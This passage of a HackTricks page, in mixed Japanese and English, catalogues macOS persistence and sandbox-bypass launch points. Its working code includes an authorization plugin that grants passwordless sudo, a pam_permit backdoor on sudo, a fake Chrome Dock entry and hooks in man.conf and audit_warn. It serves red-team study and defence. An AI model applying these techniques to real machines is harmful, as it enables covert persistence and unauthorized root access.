<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
カラーピッカー
Writeup: https://theevilbit.github.io/beyond/beyond_0017
場所
/Library/ColorPickers- Root権限が必要
- トリガー: カラーピッカーを使用
~/Library/ColorPickers- トリガー: カラーピッカーを使用
説明とエクスプロイト
カラーピッカーのbundleをコンパイルしてあなたのコードを組み込み(this one for exampleを例に使える)、コンストラクタを追加(Screen Saver sectionのように)し、バンドルを~/Library/ColorPickersにコピーします。
その後、カラーピッカーがトリガーされると、あなたのコードも実行されるはずです。
ライブラリをロードするバイナリは非常に制限の厳しい sandboxを持っていることに注意してください: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
Finder Sync Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html
- Useful to bypass sandbox: いいえ。独自のアプリを実行する必要があるため
- TCC bypass: ???
配置場所
- 特定のアプリ
説明 & Exploit
Finder Sync Extension を含むアプリの例は こちら にあります。
アプリケーションは Finder Sync Extensions を持つことができます。この extension は実行されるアプリケーション内に組み込まれます。さらに、この extension がコードを実行するには、有効な Apple Developer 証明書で署名されている必要があり、sandboxed(ただし緩和された例外を追加できる場合があります)である必要があり、次のようなもので登録されている必要があります:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
スクリーンセーバー
Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b
ロケーション
/System/Library/Screen Savers- root 権限が必要
- トリガー: スクリーンセーバーを選択
/Library/Screen Savers- root 権限が必要
- トリガー: スクリーンセーバーを選択
~/Library/Screen Savers- トリガー: スクリーンセーバーを選択
.png)
説明とエクスプロイト
Xcode で新しいプロジェクトを作成し、テンプレートから新しい スクリーンセーバー を生成します。次に、そこにコードを追加します。例えば以下のコードはログを生成します。
ビルドして、.saver バンドルを ~/Library/Screen Savers にコピーします。次にスクリーンセーバーの GUI を開き、それをクリックすると大量のログが生成されるはずです:
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
Caution
このコードをロードするバイナリの entitlements(
/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver)内にcom.apple.security.app-sandboxが含まれているため、あなたは inside the common application sandbox に入ります。
Saver コード:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Spotlight プラグイン
writeup: https://theevilbit.github.io/beyond/beyond_0011/
Location
~/Library/Spotlight/- Trigger: spotlight プラグインで管理されている拡張子を持つ新しいファイルが作成されると発動
/Library/Spotlight/- Trigger: spotlight プラグインで管理されている拡張子を持つ新しいファイルが作成されると発動
- Root required
/System/Library/Spotlight/- Trigger: spotlight プラグインで管理されている拡張子を持つ新しいファイルが作成されると発動
- Root required
Some.app/Contents/Library/Spotlight/- Trigger: spotlight プラグインで管理されている拡張子を持つ新しいファイルが作成されると発動
- New app required
Description & Exploitation
Spotlight は macOS に組み込まれた検索機能で、ユーザーがコンピュータ上のデータに対して迅速かつ包括的にアクセスできるよう設計されています.
この迅速な検索機能を実現するために、Spotlight は専有データベースを維持し、ほとんどのファイルをパースしてインデックスを作成することで、ファイル名とその内容の両方を素早く検索できるようにしています。
Spotlight の基礎となる仕組みは ‘mds’ という中央プロセスで、これはメタデータサーバーを意味します。このプロセスが Spotlight サービス全体を管理します。これに補助される形で複数の ‘mdworker’ デーモンが存在し、さまざまなメンテナンスタスク(異なるファイルタイプのインデックス作成など)を実行します(ps -ef | grep mdworker)。これらのタスクは Spotlight importer plugins、つまり “.mdimporter bundles” によって可能になり、Spotlight が多様なファイル形式の内容を理解してインデックス化できるようにします。
これらのプラグイン(.mdimporter バンドル)は前述の場所に配置され、新しいバンドルが現れると数分以内にロードされます(サービスの再起動は不要)。これらのバンドルはどのファイルタイプおよび拡張子を扱えるかを示す必要があり、その結果、Spotlight は示された拡張子を持つ新しいファイルが作成されたときにそれらを使用します。
読み込まれているすべての mdimporters を見つけることが可能です:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
例えば、/Library/Spotlight/iBooksAuthor.mdimporter はこれらの種類のファイル(拡張子 .iba や .book など)を解析するために使用されます:
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
Caution
もし他の
mdimporterの Plist を確認しても、UTTypeConformsToエントリが見つからないことがあります。これは組み込みの Uniform Type Identifiers (UTI) であり、拡張子を指定する必要がないためです。さらに、System default plugins が常に優先されるため、攻撃者がアクセスできるのは Apple’s own
mdimportersによってインデックスされていないファイルだけです。
To create your own importer you could start with this project: https://github.com/megrimm/pd-spotlight-importer and then change the name, the CFBundleDocumentTypes and add UTImportedTypeDeclarations so it supports the extension you would like to support and refelc them in schema.xml.
Then change the code of the function GetMetadataForFile to execute your payload when a file with the processed extension is created.
Finally build and copy your new .mdimporter to one of thre previous locations and you can chech whenever it’s loaded monitoring the logs or checking mdimport -L.
Preference Pane
Caution
It doesn’t look like this is working anymore.
Writeup: https://theevilbit.github.io/beyond/beyond_0009/
Location
/System/Library/PreferencePanes/Library/PreferencePanes~/Library/PreferencePanes
Description
It doesn’t look like this is working anymore.
Root Sandbox Bypass
Tip
Here you can find start locations useful for sandbox bypass that allows you to simply execute something by writing it into a file being root and/or requiring other weird conditions.
Periodic
Writeup: https://theevilbit.github.io/beyond/beyond_0019/
Location
/etc/periodic/daily,/etc/periodic/weekly,/etc/periodic/monthly,/usr/local/etc/periodic- Root 権限が必要
- Trigger: 指定された時刻になると実行される
/etc/daily.local,/etc/weekly.localor/etc/monthly.local- Root 権限が必要
- Trigger: 指定された時刻になると実行される
Description & Exploitation
The periodic scripts (/etc/periodic) are executed because of the launch daemons configured in /System/Library/LaunchDaemons/com.apple.periodic*. Note that scripts stored in /etc/periodic/ are executed as the owner of the file, so this won’t work for a potential privilege escalation.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
実行されるその他の定期的なスクリプトは /etc/defaults/periodic.conf に示されています:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
もし /etc/daily.local、/etc/weekly.local、/etc/monthly.local のいずれかのファイルを書き込めれば、それは遅かれ早かれ実行されます。
Warning
periodic script はスクリプトの所有者として実行されることに注意してください。したがって、通常のユーザーがスクリプトの所有者であれば、そのユーザー権限で実行されます(これにより privilege escalation 攻撃を防げることがあります)。
PAM
解説: Linux Hacktricks PAM
解説: https://theevilbit.github.io/beyond/beyond_0005/
場所
- 常に root が必要です
説明と悪用
PAM は macOS 内での容易な実行よりも persistence やマルウェアの持続に重点を置いているため、本稿では詳細な説明は行いません。この手法をよりよく理解するには、解説を読んでください。
PAM モジュールを確認するには:
ls -l /etc/pam.d
PAMを悪用した persistence/privilege escalation technique は、モジュール /etc/pam.d/sudo を変更して先頭に以下の行を追加するだけで簡単に実行できます:
auth sufficient pam_permit.so
つまり、次のようになります:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
そして、sudo を使用しようとするどんな試みでも機能します。
Caution
このディレクトリは TCC によって保護されているため、ユーザーにアクセス許可を求めるプロンプトが表示される可能性が高いことに注意してください。
Another nice example is su, were you can see that it’s also possible to give parameters to the PAM modules (and you coukd also backdoor this file):
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
認証プラグイン
Writeup: [https://theevilbit.github.io/beyond/beyond_0028/]\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65]
- sandbox をバイパスするのに有用: 🟠
- ただし root 権限が必要で、追加の設定が必要
- TCC bypass: ???
場所
/Library/Security/SecurityAgentPlugins/- root 権限が必要
- プラグインを使用するには承認データベースを構成する必要がある
説明と悪用
ユーザーがログインしたときに実行され、永続化を維持する認証プラグインを作成できる。作成方法の詳細は前述の writeups を参照してください(注意:不適切に作成したプラグインはログイン不能にし、リカバリモードから Mac をクリーンする必要がある場合があります)。
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Move the bundle を読み込む場所に移動してください:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
最後にこのPluginを読み込むためのルールを追加してください:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
evaluate-mechanisms は認可フレームワークに認可のために外部メカニズムを呼び出す必要があることを伝えます。さらに、privileged を指定すると root によって実行されます。
次のようにトリガーします:
security authorize com.asdf.asdf
そして、staff グループは sudo アクセスを持っているべきです(確認するには /etc/sudoers を参照してください)。
Man.conf
Writeup: https://theevilbit.github.io/beyond/beyond_0030/
Location
/private/etc/man.conf- Root required
/private/etc/man.conf: Whenever man is used
Description & Exploit
The config file /private/etc/man.conf は、man ドキュメントを開くときに使用するバイナリ/スクリプトを指定します。したがって、実行ファイルへのパスを変更すれば、ユーザーが man でドキュメントを読むたびに backdoor が実行されるようにできます。
For example set in /private/etc/man.conf:
MANPAGER /tmp/view
次に /tmp/view を次のように作成します:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
- Sandboxをバイパスするのに有用: 🟠
- ただし root 権限が必要で、apache が実行中である必要があります
- TCC bypass: 🔴
- Httpd は entitlements を持っていません
Location
/etc/apache2/httpd.conf- Root が必要
- Trigger: Apache2 が起動したとき
Description & Exploit
/etc/apache2/httpd.conf にモジュールをロードする行を追加して、次のように指定できます:
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
この方法でコンパイルしたモジュールは Apache によって読み込まれます。
ただし、有効な Apple 証明書で署名するか、システムに新しい信頼された証明書を追加してそれで署名する必要があります。
必要であれば、サーバが起動することを確認するために、次のコマンドを実行できます:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Dylbのコード例:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM audit framework
Writeup: https://theevilbit.github.io/beyond/beyond_0031/
場所
/etc/security/audit_warn- root 権限が必要
- Trigger: auditd が警告を検出したとき
説明 & Exploit
auditd が警告を検出すると、スクリプト /etc/security/audit_warn が 実行されます。したがって、そこに payload を追加できます。
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
You could force a warning with sudo audit -n.
スタートアップ項目
[!CAUTION] > これは非推奨であり、これらのディレクトリには何も存在しないはずです。
The StartupItem is a directory that should be positioned within either /Library/StartupItems/ or /System/Library/StartupItems/. Once this directory is established, it must encompass two specific files:
- An rc script: システム起動時に実行されるシェルスクリプト。
- A plist file, specifically named
StartupParameters.plist, which contains various configuration settings.
Ensure that both the rc script and the StartupParameters.plist file are correctly placed inside the StartupItem directory for the startup process to recognize and utilize them。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
emond
Caution
このコンポーネントは私の macOS 環境では見つかりませんでした。詳細は下の writeup を確認してください
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
Introduced by Apple, emond is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins.
For those aware of its existence, identifying any malicious usage of emond is straightforward. The system’s LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used:
ls -l /private/var/db/emondClients
XQuartz
Writeup: https://theevilbit.github.io/beyond/beyond_0018/
場所
/opt/X11/etc/X11/xinit/privileged_startx.d- Root 権限が必要
- トリガー: XQuartz 使用時
Description & Exploit
XQuartzはmacOSにはもはやインストールされていません。詳細は writeup を参照してください。
kext
Caution
kextをrootでインストールするのは非常に複雑なので、エクスプロイトがない限り、これをsandboxesからのescapeやpersistenceの手段としては考えません。
場所
In order to install a KEXT as a startup item, it needs to be installed in one of the following locations:
/System/Library/Extensions- KEXT files built into the OS X operating system.
/Library/Extensions- KEXT files installed by 3rd party software
You can list currently loaded kext files with:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
For more information about kernel extensions check this section.
amstoold
Writeup: https://theevilbit.github.io/beyond/beyond_0029/
場所
/usr/local/bin/amstoold- Root 権限が必要
説明 & Exploitation
どうやらplist(/System/Library/LaunchAgents/com.apple.amstoold.plist)はこのバイナリを使用して XPC service を公開していました… 問題はそのバイナリが存在しなかったため、そこに何かを配置すると XPC service が呼ばれたときにあなたのバイナリが呼び出される、ということです。
私の macOS ではもうこれを見つけられません。
xsanctl
Writeup: https://theevilbit.github.io/beyond/beyond_0015/
場所
/Library/Preferences/Xsan/.xsanrc- Root 権限が必要
- トリガー: サービスが実行されたとき(まれ)
説明 & exploit
このスクリプトを実行することはあまり一般的ではなく、私の macOS でも見つけられなかったので、詳細は writeup を参照してください。
/etc/rc.common
[!CAUTION] > これは現代の MacOS バージョンでは動作しません
ここに起動時に実行されるコマンドを置くことも可能です。通常の rc.common スクリプトの例:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
永続化の手法とツール
参考資料
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


